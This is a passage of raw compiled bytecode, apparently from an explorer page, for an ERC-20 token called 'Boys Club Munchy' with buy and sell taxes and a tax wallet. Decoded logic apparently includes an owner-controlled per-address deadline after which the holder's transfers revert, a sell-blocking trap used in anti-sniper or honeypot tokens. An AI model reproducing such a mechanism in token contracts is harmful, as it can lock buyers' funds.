ffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b6007602052805f5260405f205f915090505481565b60095481565b6114c76117b6565b73ffffffffffffffffffffffffffffffffffffffff166114e5611145565b73ffffffffffffffffffffffffffffffffffffffff161461153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290612dcc565b60405180910390fd5b6009600a611549919061304f565b816115549190613099565b600b8190555050565b6115656117b6565b73ffffffffffffffffffffffffffffffffffffffff16611583611145565b73ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612dcc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e906133ba565b60405180910390fd5b61165081611f36565b50565b61165b6117b6565b73ffffffffffffffffffffffffffffffffffffffff16611679611145565b73ffffffffffffffffffffffffffffffffffffffff16146116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690612dcc565b60405180910390fd5b60238260ff16111580156116e75750603c8160ff1611155b611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90613422565b60405180910390fd5b81600e5f6101000a81548160ff021916908360ff16021790555080600e60016101000a81548160ff021916908360ff1602179055507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611822906134b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061353e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611973919061290c565b60405180910390a3505050565b61198b838383611ff7565b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119d79190612d4f565b925050819055505f81905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a80575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b3c57611adf828560025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461237b565b9050611b3b848460025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16146124b2565b5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b889190613317565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bec919061290c565b60405180910390a350505050565b5f804790505f600267ffffffffffffffff811115611c1b57611c1a61355c565b5b604051908082528060200260200182016040528015611c495781602001602082028036833780820191505090505b50905030815f81518110611c6057611c5f613589565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d289190612ece565b81600181518110611d3c57611d3b613589565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611da23060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866117bd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b8152600401611e0495949392919061366d565b5f604051808303815f87803b158015611e1b575f80fd5b505af1158015611e2d573d5f803e3d5ffd5b505050508147611e3d9190612d4f565b92505050919050565b80471015611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e809061370f565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051611eae9061375a565b5f6040518083038185875af1925050503d805f8114611ee8576040519150601f19603f3d011682016040523d82523d5f602084013e611eed565b606091505b5050905080611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906137de565b60405180910390fd5b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205c9061386c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca906138fa565b60405180910390fd5b5f8111612115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210c90613988565b60405180910390fd5b600c548111158061216c575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613a16565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661225257600d548161220684610b15565b6122109190613317565b1115612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890613aa4565b60405180910390fd5b5b600b5461225e30610b15565b101580156122795750600e60179054906101000a900460ff16155b80156122915750600e60169054906101000a900460ff165b80156122ea575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561232957506122f9611145565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123685750612338611145565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612376576123756125ca565b5b505050565b5f806064600e5f9054906101000a900460ff1660ff168661239c9190613099565b6123a6919061327f565b905082156123db576064600e60019054906101000a900460ff1660ff16866123ce9190613099565b6123d8919061327f565b90505b5f81111561249c578060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461242f9190613317565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612493919061290c565b60405180910390a35b80856124a89190612d4f565b9150509392505050565b80156125375760085f9054906101000a900460ff16156125325760095f8154809291906124de90613ac2565b91905055506003426124f09190613317565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6125c5565b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146125c45760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205442106125c3575f80fd5b5b5b505050565b6001600e60176101000a81548160ff0219169083151502179055505f606480600b546125f69190613099565b612600919061327f565b90505f60645f600b546126139190613099565b61261d919061327f565b90505f8211156126a4575f61263183611bfa565b90505f8111156126a257600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156126a0573d5f803e3d5ffd5b505b505b5f8111156126ee575f6002826126ba919061327f565b90505f81836126c99190612d4f565b90505f6126d583611bfa565b90505f8111156126ea576126e9828261278c565b5b5050505b5f4711156127425761274147600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a150505f600e60176101000a81548160ff021916908315150217905550565b6127b83060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f80600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161284096959493929190613113565b60606040518083038185885af115801561285c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906128819190613186565b509150505f81836128929190612d4f565b11156128ef576128ee81836128a79190612d4f565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b505050565b5f819050919050565b612906816128f4565b82525050565b5f60208201905061291f5f8301846128fd565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561295c578082015181840152602081019050612941565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61298182612925565b61298b818561292f565b935061299b81856020860161293f565b6129a481612967565b840191505092915050565b5f6020820190508181035f8301526129c78184612977565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129fc826129d3565b9050919050565b612a0c816129f2565b8114612a16575f80fd5b50565b5f81359050612a2781612a03565b92915050565b612a36816128f4565b8114612a40575f80fd5b50565b5f81359050612a5181612a2d565b92915050565b5f8060408385031215612a6d57612a6c6129cf565b5b5f612a7a85828601612a19565b9250506020612a8b85828601612a43565b9150509250929050565b5f8115159050919050565b612aa981612a95565b82525050565b5f602082019050612ac25f830184612aa0565b92915050565b5f805f60608486031215612adf57612ade6129cf565b5b5f612aec86828701612a19565b9350506020612afd86828701612a19565b9250506040612b0e86828701612a43565b9150509250925092565b5f60208284031215612b2d57612b2c6129cf565b5b5f612b3a84828501612a19565b91505092915050565b5f60ff82169050919050565b612b5881612b43565b82525050565b5f602082019050612b715f830184612b4f565b92915050565b612b80816129f2565b82525050565b5f602082019050612b995f830184612b77565b92915050565b5f8060408385031215612bb557612bb46129cf565b5b5f612bc285828601612a43565b9250506020612bd385828601612a43565b9150509250929050565b5f8060408385031215612bf357612bf26129cf565b5b5f612c0085828601612a19565b9250506020612c1185828601612a19565b9150509250929050565b5f60208284031215612c3057612c2f6129cf565b5b5f612c3d84828501612a43565b91505092915050565b612c4f81612b43565b8114612c59575f80fd5b50565b5f81359050612c6a81612c46565b92915050565b5f8060408385031215612c8657612c856129cf565b5b5f612c9385828601612c5c565b9250506020612ca485828601612c5c565b9150509250929050565b5f819050919050565b5f612cd1612ccc612cc7846129d3565b612cae565b6129d3565b9050919050565b5f612ce282612cb7565b9050919050565b5f612cf382612cd8565b9050919050565b612d0381612ce9565b82525050565b5f602082019050612d1c5f830184612cfa565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d59826128f4565b9150612d64836128f4565b9250828203905081811115612d7c57612d7b612d22565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612db660208361292f565b9150612dc182612d82565b602082019050919050565b5f6020820190508181035f830152612de381612daa565b9050919050565b7f416c7265616479207475726e6564206f66662e000000000000000000000000005f82015250565b5f612e1e60138361292f565b9150612e2982612dea565b602082019050919050565b5f6020820190508181035f830152612e4b81612e12565b9050919050565b7f43616e206f6e6c79206265206f70656e6564206f6e63650000000000000000005f82015250565b5f612e8660178361292f565b9150612e9182612e52565b602082019050919050565b5f6020820190508181035f830152612eb381612e7a565b9050919050565b5f81519050612ec881612a03565b92915050565b5f60208284031215612ee357612ee26129cf565b5b5f612ef084828501612eba565b91505092915050565b5f604082019050612f0c5f830185612b77565b612f196020830184612b77565b9392505050565b5f8160011c9050919050565b5f808291508390505b6001851115612f7557808604811115612f5157612f50612d22565b5b6001851615612f605780820291505b8081029050612f6e85612f20565b9450612f35565b94509492505050565b5f82612f8d5760019050613048565b81612f9a575f9050613048565b8160018114612fb05760028114612fba57612fe9565b6001915050613048565b60ff841115612fcc57612fcb612d22565b5b8360020a915084821115612fe357612fe2612d22565b5b50613048565b5060208310610133831016604e8410600b841016171561301e5782820a90508381111561301957613018612d22565b5b613048565b61302b8484846001612f2c565b9250905081840481111561304257613041612d22565b5b81810290505b9392505050565b5f613059826128f4565b915061306483612b43565b92506130917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f7e565b905092915050565b5f6130a3826128f4565b91506130ae836128f4565b92508282026130bc816128f4565b915082820484148315176130d3576130d2612d22565b5b5092915050565b5f819050919050565b5f6130fd6130f86130f3846130da565b612cae565b6128f4565b9050919050565b61310d816130e3565b82525050565b5f60c0820190506131265f830189612b77565b61313360208301886128fd565b6131406040830187613104565b61314d6060830186613104565b61315a6080830185612b77565b61316760a08301846128fd565b979650505050505050565b5f8151905061318081612a2d565b92915050565b5f805f6060848603121561319d5761319c6129cf565b5b5f6131aa86828701613172565b93505060206131bb86828701613172565b92505060406131cc86828701613172565b9150509250925092565b5f6040820190506131e95f830185612b77565b6131f660208301846128fd565b9392505050565b61320681612a95565b8114613210575f80fd5b50565b5f81519050613221816131fd565b92915050565b5f6020828403121561323c5761323b6129cf565b5b5f61324984828501613213565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613289826128f4565b9150613294836128f4565b9250826132a4576132a3613252565b5b828204905092915050565b7f496e76616c69642053657474696e6773000000000000000000000000000000005f82015250565b5f6132e360108361292f565b91506132ee826132af565b602082019050919050565b5f6020820190508181035f830152613310816132d7565b9050919050565b5f613321826128f4565b915061332c836128f4565b925082820190508082111561334457613343612d22565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6133a460268361292f565b91506133af8261334a565b604082019050919050565b5f6020820190508181035f8301526133d181613398565b9050919050565b7f54617865732063616e27742065786365656420746865206c696d69742e0000005f82015250565b5f61340c601d8361292f565b9150613417826133d8565b602082019050919050565b5f6020820190508181035f83015261343981613400565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61349a60248361292f565b91506134a582613440565b604082019050919050565b5f6020820190508181035f8301526134c78161348e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61352860228361292f565b9150613533826134ce565b604082019050919050565b5f6020820190508181035f8301526135558161351c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e8816129f2565b82525050565b5f6135f983836135df565b60208301905092915050565b5f602082019050919050565b5f61361b826135b6565b61362581856135c0565b9350613630836135d0565b805f5b8381101561366057815161364788826135ee565b975061365283613605565b925050600181019050613633565b5085935050505092915050565b5f60a0820190506136805f8301886128fd565b61368d6020830187613104565b818103604083015261369f8186613611565b90506136ae6060830185612b77565b6136bb60808301846128fd565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f6136f9601d8361292f565b9150613704826136c5565b602082019050919050565b5f6020820190508181035f830152613726816136ed565b9050919050565b5f81905092915050565b50565b5f6137455f8361372d565b915061375082613737565b5f82019050919050565b5f6137648261373a565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f6137c8603a8361292f565b91506137d38261376e565b604082019050919050565b5f6020820190508181035f8301526137f5816137bc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61385660258361292f565b9150613861826137fc565b604082019050919050565b5f6020820190508181035f8301526138838161384a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6138e460238361292f565b91506138ef8261388a565b604082019050919050565b5f6020820190508181035f830152613911816138d8565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61397260298361292f565b915061397d82613918565b604082019050919050565b5f6020820190508181035f83015261399f81613966565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d61785f8201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b5f613a0060298361292f565b9150613a0b826139a6565b604082019050919050565b5f6020820190508181035f830152613a2d816139f4565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178575f8201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b5f613a8e60268361292f565b9150613a9982613a34565b604082019050919050565b5f6020820190508181035f830152613abb81613a82565b9050919050565b5f613acc826128f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613afe57613afd612d22565b5b60018201905091905056fea264697066735822122065e3d607deeb997b32772b679dfe3e7a4ddc4cb489643414dfcd1492d281051e64736f6c63430008170033

Deployed Bytecode

0x6080604052600436106101e6575f3560e01c80638da5cb5b11610101578063e1021dd311610094578063f2fde38b11610063578063f2fde38b146106c3578063f71dcc91146106eb578063f887ea4014610713578063f8b45b051461073d576101ed565b8063e1021dd31461060d578063ee9a5d8214610635578063ef07a18214610671578063f19622331461069b576101ed565b8063b45ad8ec116100d0578063b45ad8ec14610555578063cc1776d31461057d578063dd62ed3e146105a7578063e0a877c8146105e3576101ed565b80638da5cb5b1461049b57806395d89b41146104c5578063a8aa1b31146104ef578063a9059cbb14610519576101ed565b806350bf18a61161017957806375f0a8741161014857806375f0a874146103f5578063768dc7101461041f5780638a8c523c1461045b5780638c0b5e2214610471576101ed565b806350bf18a61461037757806351bc3c851461038d57806370a08231146103a3578063715018a6146103df576101ed565b806323b872dd116101b557806323b872dd146102ab57806328c61f41146102e7578063313ce567146103235780634f7041a51461034d576101ed565b80630445b667146101f157806306fdde031461021b578063095ea7b31461024557806318160ddd14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b50610205610767565b604051610212919061290c565b60405180910390f35b348015610226575f80fd5b5061022f61076d565b60405161023c91906129af565b60405180910390f35b348015610250575f80fd5b5061026b60048036038101906102669190612a57565b6107aa565b6040516102789190612aaf565b60405180910390f35b34801561028c575f80fd5b506102956107c7565b6040516102a2919061290c565b60405180910390f35b3480156102b6575f80fd5b506102d160048036038101906102cc9190612ac8565b6107d0565b6040516102de9190612aaf565b60405180910390f35b3480156102f2575f80fd5b5061030d60048036038101906103089190612b18565b610883565b60405161031a9190612aaf565b60405180910390f35b34801561032e575f80fd5b506103376108a0565b6040516103449190612b5e565b60405180910390f35b348015610358575f80fd5b506103616108a8565b60405161036e9190612b5e565b60405180910390f35b348015610382575f80fd5b5061038b6108ba565b005b348015610398575f80fd5b506103a161099f565b005b3480156103ae575f80fd5b506103c960048036038101906103c49190612b18565b610b15565b6040516103d6919061290c565b60405180910390f35b3480156103ea575f80fd5b506103f3610b5b565b005b348015610400575f80fd5b50610409610be2565b6040516104169190612b86565b60405180910390f35b34801561042a575f80fd5b5061044560048036038101906104409190612b18565b610c08565b6040516104529190612aaf565b60405180910390f35b348015610466575f80fd5b5061046f610c25565b005b34801561047c575f80fd5b5061048561113f565b604051610492919061290c565b60405180910390f35b3480156104a6575f80fd5b506104af611145565b6040516104bc9190612b86565b60405180910390f35b3480156104d0575f80fd5b506104d961116c565b6040516104e691906129af565b60405180910390f35b3480156104fa575f80fd5b506105036111a9565b6040516105109190612b86565b60405180910390f35b348015610524575f80fd5b5061053f600480360381019061053a9190612a57565b6111ce565b60405161054c9190612aaf565b60405180910390f35b348015610560575f80fd5b5061057b60048036038101906105769190612b9f565b6111eb565b005b348015610588575f80fd5b50610591611330565b60405161059e9190612b5e565b60405180910390f35b3480156105b2575f80fd5b506105cd60048036038101906105c89190612bdd565b611343565b6040516105da919061290c565b60405180910390f35b3480156105ee575f80fd5b506105f76113c5565b6040516106049190612aaf565b60405180910390f35b348015610618575f80fd5b50610633600480360381019061062e9190612a57565b6113d7565b005b348015610640575f80fd5b5061065b60048036038101906106569190612b18565b6114a4565b604051610668919061290c565b60405180910390f35b34801561067c575f80fd5b506106856114b9565b604051610692919061290c565b60405180910390f35b3480156106a6575f80fd5b506106c160048036038101906106bc9190612c1b565b6114bf565b005b3480156106ce575f80fd5b506106e960048036038101906106e49190612b18565b61155d565b005b3480156106f6575f80fd5b50610711600480360381019061070c9190612c70565b611653565b005b34801561071e575f80fd5b5061072761178b565b6040516107349190612d09565b60405180910390f35b348015610748575f80fd5b506107516117b0565b60405161075e919061290c565b60405180910390f35b600b5481565b60606040518060400160405280601081526020017f426f797320436c7562204d756e63687900000000000000000000000000000000815250905090565b5f6107bd6107b66117b6565b84846117bd565b6001905092915050565b5f600a54905090565b5f6107dc848484611980565b610878846107e86117b6565b8460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61082f6117b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108739190612d4f565b6117bd565b600190509392505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f6009905090565b600e5f9054906101000a900460ff1681565b6108c26117b6565b73ffffffffffffffffffffffffffffffffffffffff166108e0611145565b73ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90612dcc565b60405180910390fd5b60085f9054906101000a900460ff16610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612e34565b60405180910390fd5b5f60085f6101000a81548160ff021916908315150217905550565b6001600e60176101000a81548160ff021916908315150217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a13575f80fd5b5f610a1d30610b15565b90505f811115610aa4575f610a3182611bfa565b90505f811115610aa257600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610aa0573d5f803e3d5ffd5b505b505b5f471115610af857610af747600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b505f600e60176101000a81548160ff021916908315150217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b636117b6565b73ffffffffffffffffffffffffffffffffffffffff16610b81611145565b73ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612dcc565b60405180910390fd5b610be05f611f36565b565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052805f5260405f205f915054906101000a900460ff1681565b610c2d6117b6565b73ffffffffffffffffffffffffffffffffffffffff16610c4b611145565b73ffffffffffffffffffffffffffffffffffffffff1614610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9890612dcc565b60405180910390fd5b600e60169054906101000a900460ff1615610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce890612e9c565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d779190612ece565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ddc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e009190612ece565b6040518363ffffffff1660e01b8152600401610e1d929190612ef9565b6020604051808303815f875af1158015610e39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5d9190612ece565b90508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610f823060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196117bd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306009600a610fcf919061304f565b630503d810610fde9190613099565b610fe730610b15565b610ff19190612d4f565b5f80610ffb611145565b426040518863ffffffff1660e01b815260040161101d96959493929190613113565b60606040518083038185885af1158015611039573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061105e9190613186565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196040518363ffffffff1660e01b81526004016110df9291906131d6565b6020604051808303815f875af11580156110fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111f9190613227565b506001600e60166101000a81548160ff0219169083151502179055505050565b600c5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d756e6368790000000000000000000000000000000000000000000000000000815250905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111e16111da6117b6565b8484611980565b6001905092915050565b6111f36117b6565b73ffffffffffffffffffffffffffffffffffffffff16611211611145565b73ffffffffffffffffffffffffffffffffffffffff1614611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612dcc565b60405180910390fd5b5f6009600a611276919061304f565b6103e86005600a546112889190613099565b611292919061327f565b61129c919061327f565b90508083101580156112ae5750808210155b6112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e4906132f9565b60405180910390fd5b6009600a6112fb919061304f565b836113069190613099565b600c819055506009600a61131a919061304f565b826113259190613099565b600d81905550505050565b600e60019054906101000a900460ff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085f9054906101000a900460ff1681565b6113df6117b6565b73ffffffffffffffffffffffffffffffffffffffff166113fd611145565b73ffffffffffffffffffffffffffffffffffffffff1614611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90612dcc565b60405180910390fd5b804261145f9190613317565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b6007602052805f5260405f205f915090505481565b60095481565b6114c76117b6565b73ffffffffffffffffffffffffffffffffffffffff166114e5611145565b73ffffffffffffffffffffffffffffffffffffffff161461153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290612dcc565b60405180910390fd5b6009600a611549919061304f565b816115549190613099565b600b8190555050565b6115656117b6565b73ffffffffffffffffffffffffffffffffffffffff16611583611145565b73ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612dcc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e906133ba565b60405180910390fd5b61165081611f36565b50565b61165b6117b6565b73ffffffffffffffffffffffffffffffffffffffff16611679611145565b73ffffffffffffffffffffffffffffffffffffffff16146116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690612dcc565b60405180910390fd5b60238260ff16111580156116e75750603c8160ff1611155b611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90613422565b60405180910390fd5b81600e5f6101000a81548160ff021916908360ff16021790555080600e60016101000a81548160ff021916908360ff1602179055507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182b576040517f08c379a000000000000000000000000000000000000000000000000000000